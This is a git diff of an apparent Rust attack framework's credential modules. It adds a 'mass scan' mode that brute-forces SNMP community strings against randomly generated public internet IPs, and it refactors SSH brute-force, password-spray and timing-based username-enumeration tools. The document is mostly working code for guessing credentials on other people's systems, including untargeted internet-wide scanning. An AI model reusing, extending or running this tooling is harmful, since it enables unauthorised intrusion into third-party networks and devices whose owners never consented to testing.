use crate::modules::creds::utils::{BruteforceStats, generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions};
const PROGRESS_INTERVAL_SECS: u64 = 2;
const STATE_FILE: &str = "snmp_hose_state.log";
// Hardcoded exclusions (Private + Cloudflare + Google + Link Local etc)
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
// Cloudflare
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32",
// Google
"8.8.8.8/32", "8.8.4.4/32"
];
pub async fn run(target: &str) -> Result<()> {
println!("\n{}", "=== SNMPv1/v2c Brute Force Module ===".bold().cyan());
@@ -30,14 +48,25 @@ pub async fn run(target: &str) -> Result<()> {
println!();
println!("{}", format!("[*] Target: {}", target).cyan());
// Check for Mass Scan Mode
let is_mass_scan = target == "random" || target == "0.0.0.0"
|| target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
if is_mass_scan {
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
return run_mass_scan(target).await;
}
// --- Standard Single-Target Logic ---
let default_port = 161;
let port = prompt_int_range("SNMP Port", default_port as i64, 1, 65535).await? as u16;
let port = prompt_int_range("SNMP Port", default_port as i64, 1, 65535)? as u16;
let communities_file = prompt_existing_file("Community string wordlist file path").await?;
let communities_file = prompt_existing_file("Community string wordlist file path")?;
// Custom prompt for version since it's specific
let snmp_version = loop {
let input = prompt_default("SNMP Version (1 or 2c)", "2c").await?;
let input = prompt_default("SNMP Version (1 or 2c)", "2c")?;
match input.trim().to_lowercase().as_str() {
"1" => break 0, // SNMPv1
"2c" | "2" => break 1, // SNMPv2c
@@ -45,16 +74,16 @@ pub async fn run(target: &str) -> Result<()> {
}
};
let concurrency = prompt_int_range("Max concurrent tasks", 50, 1, 1000).await? as usize;
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
let concurrency = prompt_int_range("Max concurrent tasks", 50, 1, 1000)? as usize;
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
// Output file handled by saving results at the end usually, but old code asked upfront.
// I'll stick to standard flow: prompt for save at end OR automatically if specified.
// Existing modules prompted for output file upfront. I'll do that for consistency with new standard.
let output_file = prompt_default("Output file", "snmp_results.txt").await?;
let output_file = prompt_default("Output file", "snmp_results.txt")?;
let verbose = prompt_yes_no("Verbose mode?", false).await?;
let timeout_secs = prompt_int_range("Timeout (seconds)", 3, 1, 300).await? as u64;
let verbose = prompt_yes_no("Verbose mode?", false)?;
let timeout_secs = prompt_int_range("Timeout (seconds)", 3, 1, 300)? as u64;
let connect_addr = format!("{}:{}", normalize_target(target)?, port);
@@ -531,3 +560,157 @@ fn encode_sub_id(mut value: u32, output: &mut Vec<u8>) {
/// Run mass scan logic (Hose style)
async fn run_mass_scan(target: &str) -> Result<()> {
println!("{}", "[*] Preparing Mass Scan configuration...".blue());
let port = prompt_int_range("SNMP Port", 161, 1, 65535)? as u16;
let communities_file = prompt_existing_file("Community string wordlist")?;
let snmp_version = loop {
let input = prompt_default("SNMP Version (1 or 2c)", "2c")?;
match input.trim().to_lowercase().as_str() {
"1" => break 0,
"2c" | "2" => break 1,
_ => println!("Invalid version. Enter '1' or '2c'."),
}
};
let communities = load_lines(&communities_file)?;
if communities.is_empty() {
return Err(anyhow!("Community wordlist cannot be empty"));
}
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000)? as usize;
let verbose = prompt_yes_no("Verbose mode?", false)?;
let timeout_secs = prompt_int_range("Timeout (seconds)", 3, 1, 300)? as u64;
let output_file = prompt_default("Output result file", "snmp_mass_results.txt")?;
// Parse exclusions
let exclusions = Arc::new(parse_exclusions(EXCLUDED_RANGES));
// Shared State
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_found = Arc::new(AtomicUsize::new(0));
let creds_pkg = Arc::new((communities, snmp_version, timeout_secs));
// Stats Reporter
let s_checked = stats_checked.clone();
let s_found = stats_found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(5)).await;
println!(
"[*] Status: {} IPs scanned, {} SNMP devices found",
s_checked.load(Ordering::Relaxed),
s_found.load(Ordering::Relaxed).to_string().green().bold()
);
}
});
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
if run_random {
println!("{}", "[*] Starting Random Internet Scan...".green());
loop {
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let exc = exclusions.clone();
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
if !is_ip_checked(&ip, STATE_FILE).await {
mark_ip_checked(&ip, STATE_FILE).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
} else {
// File mode
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
for ip_str in lines {
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
let ip_addr = match ip_str.parse::<IpAddr>() {
Ok(ip) => Some(ip),
Err(_) => None
};
tokio::spawn(async move {
if let Some(ip) = ip_addr {
if !is_ip_checked(&ip, STATE_FILE).await {
mark_ip_checked(&ip, STATE_FILE).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
// Wait for finish
for _ in 0..concurrency {
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
}
}
Ok(())
}
async fn mass_scan_host(
ip: IpAddr,
port: u16,
creds: Arc<(Vec<String>, u8, u64)>,
stats_found: Arc<AtomicUsize>,
output_file: String,
_verbose: bool,
) {
let addr = format!("{}:{}", ip, port);
let (communities, version, timeout_secs) = &*creds;
let timeout = Duration::from_secs(*timeout_secs);
for community in communities {
match try_snmp_community(&addr, community, *version, timeout).await {
Ok(true) => {
let result_str = format!("{} -> community: '{}'", addr, community);
println!("\\r{}", format!("[+] FOUND: {}", result_str).green().bold());
if let Ok(mut file) = OpenOptions::new()
.create(true)
.append(true)
.open(&output_file)
.await
{
let _ = file.write_all(format!("{}\\n", result_str).as_bytes()).await;
}
stats_found.fetch_add(1, Ordering::Relaxed);
return; // Stop on first valid community for this host
}
Ok(false) => {
// Auth failure
}
Err(_) => {
// Connection error
return;
}
}
}
}
@@ -17,7 +17,7 @@ use futures::stream::{FuturesUnordered, StreamExt};
use crate::utils::{
normalize_target, prompt_default, prompt_yes_no,
prompt_existing_file, load_lines, get_filename_in_current_dir
prompt_existing_file, load_lines, get_filename_in_current_dir, prompt_port
};
use crate::modules::creds::utils::BruteforceStats;
@@ -45,25 +45,19 @@ pub async fn run(target: &str) -> Result<()> {
println!("{}", "=== SSH Brute Force Module ===".bold());
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("SSH Port", &DEFAULT_SSH_PORT.to_string()).await?;
match input.parse() {
Ok(p) if p > 0 => break p,
_ => println!("{}", "Invalid port. Must be between 1 and 65535.".yellow()),
}
};
let port: u16 = prompt_port("SSH Port", DEFAULT_SSH_PORT)?;
// Ask about default credentials
let use_defaults = prompt_yes_no("Try default credentials first?", true).await?;
let use_defaults = prompt_yes_no("Try default credentials first?", true)?;
let usernames_file = if prompt_yes_no("Use username wordlist?", true).await? {
Some(prompt_existing_file("Username wordlist").await?)
let usernames_file = if prompt_yes_no("Use username wordlist?", true)? {
Some(prompt_existing_file("Username wordlist")?)
} else {
None
};
let passwords_file = if prompt_yes_no("Use password wordlist?", true).await? {
Some(prompt_existing_file("Password wordlist").await?)
let passwords_file = if prompt_yes_no("Use password wordlist?", true)? {
Some(prompt_existing_file("Password wordlist")?)
} else {
None
};
@@ -73,7 +67,7 @@ pub async fn run(target: &str) -> Result<()> {
}
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10").await?;
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 && n <= 256 => break n,
_ => println!("{}", "Invalid number. Must be between 1 and 256.".yellow()),
@@ -81,17 +75,17 @@ pub async fn run(target: &str) -> Result<()> {
};
let connection_timeout: u64 = loop {
let input = prompt_default("Connection timeout (seconds)", "5").await?;
let input = prompt_default("Connection timeout (seconds)", "5")?;
match input.parse() {
Ok(n) if n >= 1 && n <= 60 => break n,
_ => println!("{}", "Invalid timeout. Must be between 1 and 60 seconds.".yellow()),
}
};
let retry_on_error = prompt_yes_no("Retry on connection errors?", true).await?;
let retry_on_error = prompt_yes_no("Retry on connection errors?", true)?;
let max_retries: usize = if retry_on_error {
loop {
let input = prompt_default("Max retries per attempt", "2").await?;
let input = prompt_default("Max retries per attempt", "2")?;
match input.parse() {
Ok(n) if n > 0 && n <= 10 => break n,
_ => println!("{}", "Invalid retries. Must be between 1 and 10.".yellow()),
@@ -101,15 +95,15 @@ pub async fn run(target: &str) -> Result<()> {
0
};
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
let save_results = prompt_yes_no("Save results to file?", true).await?;
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "ssh_brute_results.txt").await?)
Some(prompt_default("Output file", "ssh_brute_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false).await?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false).await?;
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
let connect_addr = normalize_target(&format!("{}:{}", target, port)).unwrap_or_else(|_| format!("{}:{}", target, port));
@@ -365,7 +359,7 @@ pub async fn run(target: &str) -> Result<()> {
.yellow()
.bold()
);
if prompt_yes_no("Save unknown responses to file?", true).await? {
if prompt_yes_no("Save unknown responses to file?", true)? {
let default_name = "ssh_unknown_responses.txt";
let fname = prompt_default(
&format!(
@@ -373,7 +367,7 @@ pub async fn run(target: &str) -> Result<()> {
default_name
),
default_name,
).await?;
)?;
let filename = get_filename_in_current_dir(&fname);
use std::fs::File;
match File::create(&filename) {
@@ -19,7 +19,8 @@ use std::{
},
time::{Duration, Instant},
};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
use crate::utils::prompt_port;
use anyhow::Context;
use tokio::{
sync::Semaphore,
@@ -246,8 +247,8 @@ pub async fn password_spray(
let user = user.clone();
let password = password.to_string();
let handle = tokio::spawn(async move {
let _permit = semaphore.acquire().await.unwrap();
let handle: tokio::task::JoinHandle<Result<()>> = tokio::spawn(async move {
let _permit = semaphore.acquire().await.context("Semaphore acquisition failed")?;
let host_clone = host.clone();
let user_clone = user.clone();
@@ -277,6 +278,7 @@ pub async fn password_spray(
stats.record_attempt(false, true);
}
}
Ok(())
});
handles.push(handle);
@@ -319,28 +321,24 @@ fn save_results(results: &[SprayResult], path: &str) -> Result<()> {
/// Prompt helper
async fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut input)
.await
.context("Failed to read input")?;
Ok(input.trim().to_string())
}
async fn prompt_default(message: &str, default: &str) -> Result<String> {
fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
@@ -350,17 +348,15 @@ async fn prompt_default(message: &str, default: &str) -> Result<String> {
}
}
async fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
let hint = if default { "Y/n" } else { "y/N" };
print!("{} [{}]: ", message, hint);
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
@@ -388,7 +384,7 @@ pub async fn run(target: &str) -> Result<()> {
}
// Get port
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(DEFAULT_SSH_PORT);
let port: u16 = prompt_port("SSH Port", DEFAULT_SSH_PORT)?;
// Get targets
let mut targets = Vec::new();
@@ -407,7 +403,7 @@ pub async fn run(target: &str) -> Result<()> {
}
// Load from file?
if prompt_yes_no("Load targets from file?", false).await? {
if prompt_yes_no("Load targets from file?", false)? {
let file_path = prompt("File path").await?;
if !file_path.is_empty() {
match load_list_from_file(&file_path) {
@@ -437,7 +433,7 @@ pub async fn run(target: &str) -> Result<()> {
// Get usernames
let mut usernames: Vec<String> = Vec::new();
if prompt_yes_no("Load usernames from file?", false).await? {
if prompt_yes_no("Load usernames from file?", false)? {
let file_path = prompt("Username file path").await?;
if !file_path.is_empty() {
match load_list_from_file(&file_path) {
@@ -453,7 +449,7 @@ pub async fn run(target: &str) -> Result<()> {
}
// Add default usernames?
if usernames.is_empty() || prompt_yes_no("Also test default usernames?", true).await? {
if usernames.is_empty() || prompt_yes_no("Also test default usernames?", true)? {
for user in DEFAULT_USERNAMES {
if !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
@@ -466,10 +462,10 @@ pub async fn run(target: &str) -> Result<()> {
}
// Get scan options
let threads: usize = prompt_default("Concurrent threads", &DEFAULT_THREADS.to_string()).await?
let threads: usize = prompt_default("Concurrent threads", &DEFAULT_THREADS.to_string())?
.parse()
.unwrap_or(DEFAULT_THREADS);
let timeout: u64 = prompt_default("Connection timeout (seconds)", &DEFAULT_TIMEOUT_SECS.to_string()).await?
let timeout: u64 = prompt_default("Connection timeout (seconds)", &DEFAULT_TIMEOUT_SECS.to_string())?
.parse()
.unwrap_or(DEFAULT_TIMEOUT_SECS);
@@ -479,8 +475,8 @@ pub async fn run(target: &str) -> Result<()> {
let results = password_spray(targets, &usernames, &password, threads, timeout).await;
// Save results?
if !results.is_empty() && prompt_yes_no("Save results to file?", true).await? {
let output_path = prompt_default("Output file", "ssh_spray_results.txt").await?;
if !results.is_empty() && prompt_yes_no("Save results to file?", true)? {
let output_path = prompt_default("Output file", "ssh_spray_results.txt")?;
if let Err(e) = save_results(&results, &output_path) {
println!("{}", format!("[-] Failed to save: {}", e).red());
}
@@ -14,7 +14,8 @@ use std::{
net::TcpStream,
time::{Duration, Instant},
};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
use crate::utils::prompt_port;
use anyhow::Context;
const DEFAULT_SSH_PORT: u16 = 22;
@@ -183,30 +184,26 @@ pub async fn enumerate_users(
}
/// Prompt helper
async fn prompt(message: &str) -> Result<String> {
fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut input)
.await
.context("Failed to read input")?;
Ok(input.trim().to_string())
}
async fn prompt_default(message: &str, default: &str) -> Result<String> {
fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
@@ -216,17 +213,15 @@ async fn prompt_default(message: &str, default: &str) -> Result<String> {
}
}
async fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
let hint = if default { "Y/n" } else { "y/N" };
print!("{} [{}]: ", message, hint);
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
@@ -253,16 +248,16 @@ pub async fn run(target: &str) -> Result<()> {
println!("{}", format!("[*] Target: {}", host).cyan());
// Get parameters
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(DEFAULT_SSH_PORT);
let samples: usize = prompt_default("Samples per username", "3").await?.parse().unwrap_or(DEFAULT_SAMPLES);
let timeout: u64 = prompt_default("Connection timeout (seconds)", "10").await?.parse().unwrap_or(DEFAULT_TIMEOUT_SECS);
let threshold: f64 = prompt_default("Timing threshold (seconds)", "0.3").await?.parse().unwrap_or(TIMING_THRESHOLD);
let port: u16 = prompt_port("SSH Port", DEFAULT_SSH_PORT)?;
let samples: usize = prompt_default("Samples per username", "3")?.parse().unwrap_or(DEFAULT_SAMPLES);
let timeout: u64 = prompt_default("Connection timeout (seconds)", "10")?.parse().unwrap_or(DEFAULT_TIMEOUT_SECS);
let threshold: f64 = prompt_default("Timing threshold (seconds)", "0.3")?.parse().unwrap_or(TIMING_THRESHOLD);
// Get usernames
let mut usernames: Vec<String> = Vec::new();
if prompt_yes_no("Load usernames from file?", false).await? {
let file_path = prompt("Username file path").await?;
if prompt_yes_no("Load usernames from file?", false)? {
let file_path = prompt("Username file path")?;
if !file_path.is_empty() {
match load_usernames(&file_path) {
Ok(loaded) => {
@@ -277,7 +272,7 @@ pub async fn run(target: &str) -> Result<()> {
}
// Add default usernames?
if usernames.is_empty() || prompt_yes_no("Also test default usernames?", true).await? {
if usernames.is_empty() || prompt_yes_no("Also test default usernames?", true)? {
for user in DEFAULT_USERNAMES {
if !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
@@ -297,8 +292,8 @@ pub async fn run(target: &str) -> Result<()> {
let valid_users = enumerate_users(&host, port, &usernames, samples, timeout, threshold).await;
// Save results?
if !valid_users.is_empty() && prompt_yes_no("Save valid users to file?", true).await? {
let output_path = prompt_default("Output file", "valid_ssh_users.txt").await?;
if !valid_users.is_empty() && prompt_yes_no("Save valid users to file?", true)? {
let output_path = prompt_default("Output file", "valid_ssh_users.txt")?;
let mut file = File::create(&output_path)?;
writeln!(file, "# Valid SSH users for {}:{}", host, port)?;
for user in &valid_users {
@@ -1,4 +1,4 @@
use anyhow::Result;
use anyhow::{Result, Context};
use colored::*;
use rand::Rng;
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
@@ -103,9 +103,12 @@ pub async fn run(target: &str) -> Result<()> {
});
if target.is_empty() || target == "random" || target == "0.0.0.0/0" {
// Initialize state file
OpenOptions::new().create(true).write(true).open(STATE_FILE).await?;
// Random Mode
loop {
let permit = semaphore.clone().acquire_owned().await.unwrap();
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
let exc = exclusions.clone();
let cr = creds.clone();
let sc = stats_checked.clone();
@@ -137,7 +140,7 @@ pub async fn run(target: &str) -> Result<()> {
println!("Loaded {} IPs from list", lines.len());
for ip_str in lines {
let permit = semaphore.clone().acquire_owned().await.unwrap();
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
let cr = creds.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
@@ -156,7 +159,7 @@ pub async fn run(target: &str) -> Result<()> {
// Wait for all tasks to finish (simple hack: try to acquire all semaphores)
// In a real hose, we just run until done.
for _ in 0..CONCURRENCY {
let _ = semaphore.acquire().await.unwrap();
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
}
}
@@ -185,6 +188,11 @@ fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
}
async fn is_ip_checked(ip: &impl ToString) -> bool {
// Ensure state file exists before running grep
if !std::path::Path::new(STATE_FILE).exists() {
return false;
}
// Grep for "checked: <ip>" in state file
let ip_s = ip.to_string();
let status = Command::new("grep")
@@ -192,6 +200,7 @@ async fn is_ip_checked(ip: &impl ToString) -> bool {
.arg("-q")
.arg(format!("checked: {}", ip_s))
.arg(STATE_FILE)
.stderr(std::process::Stdio::null())
.status()
.await;
+3
View File
@@ -0,0 +1,3 @@
pub mod generic; // <-- lowercase folder name
pub mod camera;
pub mod utils;
+203
View File
@@ -0,0 +1,203 @@
use std::sync::atomic::{AtomicU64, Ordering};
use std::time::Instant;
use colored::*;
use tokio::sync::Mutex;
use std::collections::HashMap;
use std::net::{IpAddr, Ipv4Addr};
use rand::Rng;
use tokio::fs::OpenOptions;
use tokio::io::AsyncWriteExt;
use tokio::process::Command;
/// Standard statistics tracking for bruteforce modules
pub struct BruteforceStats {
total_attempts: AtomicU64,
successful_attempts: AtomicU64,
failed_attempts: AtomicU64,
error_attempts: AtomicU64,
retried_attempts: AtomicU64,
start_time: Instant,
unique_errors: Mutex<HashMap<String, usize>>,
}
impl BruteforceStats {
pub fn new() -> Self {
Self {
total_attempts: AtomicU64::new(0),
successful_attempts: AtomicU64::new(0),
failed_attempts: AtomicU64::new(0),
error_attempts: AtomicU64::new(0),
retried_attempts: AtomicU64::new(0),
start_time: Instant::now(),
unique_errors: Mutex::new(HashMap::new()),
}
}
pub fn record_attempt(&self, success: bool, error: bool) {
self.total_attempts.fetch_add(1, Ordering::Relaxed);
if error {
self.error_attempts.fetch_add(1, Ordering::Relaxed);
} else if success {
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
} else {
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
}
}
pub fn record_success(&self) {
self.record_attempt(true, false);
}
pub fn record_failure(&self) {
self.record_attempt(false, false);
}
pub fn record_retry(&self) {
self.retried_attempts.fetch_add(1, Ordering::Relaxed);
}
pub async fn record_error_detail(&self, msg: String) {
let mut guard = self.unique_errors.lock().await;
*guard.entry(msg).or_insert(0) += 1;
}
pub async fn record_error(&self, msg: String) {
// Increment error counter
self.record_attempt(false, true);
// Record detail
self.record_error_detail(msg).await;
}
pub fn print_progress(&self) {
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful_attempts.load(Ordering::Relaxed);
let failed = self.failed_attempts.load(Ordering::Relaxed);
let errors = self.error_attempts.load(Ordering::Relaxed);
let retries = self.retried_attempts.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
print!(
"\r{} {} attempts | {} OK | {} fail | {} err | {} retry | {:.1}/s ",
"[Progress]".cyan(),
total.to_string().bold(),
success.to_string().green(),
failed,
errors.to_string().red(),
retries,
rate
);
let _ = std::io::Write::flush(&mut std::io::stdout());
}
pub async fn print_final(&self) {
println!();
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful_attempts.load(Ordering::Relaxed);
let failed = self.failed_attempts.load(Ordering::Relaxed);
let errors = self.error_attempts.load(Ordering::Relaxed);
let retries = self.retried_attempts.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
println!("{}", "=== Statistics ===".bold());
println!(" Total attempts: {}", total);
println!(" Successful: {}", success.to_string().green().bold());
println!(" Failed: {}", failed);
println!(" Errors: {}", errors.to_string().red());
println!(" Retries: {}", retries);
println!(" Elapsed time: {:.2}s", elapsed);
if elapsed > 0.0 {
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
}
let errors_guard = self.unique_errors.lock().await;
if !errors_guard.is_empty() {
println!("\n{}", "Top Errors:".bold());
let mut sorted_errors: Vec<_> = errors_guard.iter().collect();
sorted_errors.sort_by(|a, b| b.1.cmp(a.1));
for (msg, count) in sorted_errors.into_iter().take(5) {
println!(" - {}: {}", msg.yellow(), count);
}
}
}
}
pub fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
// Basic check first to avoid expensive loop
if octets[0] == 10 || octets[0] == 127 || octets[0] == 0 {
continue;
}
let mut excluded = false;
for net in exclusions {
if net.contains(ip_addr) {
excluded = true;
break;
}
}
if !excluded {
return ip_addr;
}
}
}
pub async fn is_ip_checked(ip: &impl ToString, state_file: &str) -> bool {
// Ensure state file exists before checking
if !std::path::Path::new(state_file).exists() {
if let Ok(mut file) = OpenOptions::new()
.create(true)
.write(true)
.open(state_file)
.await
{
let _ = file.flush().await;
}
return false;
}
let ip_s = ip.to_string();
let status = Command::new("grep")
.arg("-F")
.arg("-q")
.arg(format!("checked: {}", ip_s))
.arg(state_file)
.stderr(std::process::Stdio::null())
.status()
.await;
match status {
Ok(s) => s.success(),
Err(_) => false,
}
}
pub async fn mark_ip_checked(ip: &impl ToString, state_file: &str) {
let data = format!("checked: {}\n", ip.to_string());
if let Ok(mut file) = OpenOptions::new()
.create(true)
.append(true)
.open(state_file)
.await
{
let _ = file.write_all(data.as_bytes()).await;
}
}
pub fn parse_exclusions(min_ranges: &[&str]) -> Vec<ipnetwork::IpNetwork> {
let mut exclusion_subnets = Vec::new();
for cidr in min_ranges {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusion_subnets.push(net);
}
}
exclusion_subnets
}
-105
View File
@@ -1,105 +0,0 @@
use anyhow::{anyhow, Result};
use colored::*;
use suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector};
use suppaftp::async_native_tls::TlsConnector;
use tokio::time::{timeout, Duration};
const DEFAULT_TIMEOUT_SECS: u64 = 5;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ FTP Anonymous Login Checker ║".cyan());
println!("{}", "║ Supports FTP and FTPS (TLS) with IPv4/IPv6 ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Format IPv4 or IPv6 addresses with port
fn format_addr(target: &str, port: u16) -> String {
if target.starts_with('[') && target.contains("]:") {
target.to_string()
} else if target.matches(':').count() == 1 && !target.contains('[') {
target.to_string()
} else {
let clean = if target.starts_with('[') && target.ends_with(']') {
&target[1..target.len() - 1]
} else {
target
};
if clean.contains(':') {
format!("[{}]:{}", clean, port)
} else {
format!("{}:{}", clean, port)
}
}
}
/// Anonymous FTP/FTPS login test with IPv6 support
pub async fn run(target: &str) -> Result<()> {
display_banner();
let addr = format_addr(target, 21);
let domain = target
.trim_start_matches('[')
.split(&[']', ':'][..])
.next()
.unwrap_or(target);
println!("{}", format!("[*] Target: {}", target).cyan());
println!("{}", format!("[*] Connecting to FTP service on {}...", addr).cyan());
println!();
// 1️⃣ Try plain FTP first
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(&addr)).await {
Ok(Ok(mut ftp)) => {
let result = ftp.login("anonymous", "anonymous").await;
if result.is_ok() {
println!("{}", "[+] Anonymous login successful (FTP)".green().bold());
let _ = ftp.quit().await;
return Ok(());
} else if let Err(e) = result {
if e.to_string().contains("530") {
println!("{}", "[-] Anonymous login rejected (FTP)".yellow());
return Ok(());
} else if e.to_string().contains("550 SSL") {
println!("{}", "[*] FTP server requires TLS — upgrading to FTPS...".cyan());
} else {
return Err(anyhow!("FTP error: {}", e));
}
}
}
Ok(Err(e)) => println!("{}", format!("[!] FTP connection error: {}", e).red()),
Err(_) => println!("{}", "[-] FTP connection timed out".yellow()),
}
// 2️⃣ Fallback to FTPS
println!("{}", "[*] Attempting FTPS connection...".cyan());
let mut ftps = AsyncNativeTlsFtpStream::connect(&addr)
.await
.map_err(|e| anyhow!("FTPS connect failed: {}", e))?;
let connector = AsyncNativeTlsConnector::from(
TlsConnector::new()
.danger_accept_invalid_certs(true)
.danger_accept_invalid_hostnames(true),
);
ftps = ftps
.into_secure(connector, domain)
.await
.map_err(|e| anyhow!("FTPS TLS upgrade failed: {}", e))?;
match ftps.login("anonymous", "anonymous").await {
Ok(_) => {
println!("{}", "[+] Anonymous login successful (FTPS)".green().bold());
let _ = ftps.quit().await;
}
Err(e) if e.to_string().contains("530") => {
println!("{}", "[-] Anonymous login rejected (FTPS)".yellow());
}
Err(e) => return Err(anyhow!("FTPS login error: {}", e)),
}
Ok(())
}
File diff suppressed because it is too large Load Diff
@@ -1,322 +0,0 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::Arc;
use std::time::Duration;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::sync::{Mutex, Semaphore};
use futures::stream::{FuturesUnordered, StreamExt};
use crate::utils::{
prompt_yes_no, prompt_wordlist, prompt_int_range, prompt_default,
load_lines, normalize_target,
};
use crate::modules::creds::utils::BruteforceStats;
const MQTT_CONNECT_TIMEOUT_MS: u64 = 3000;
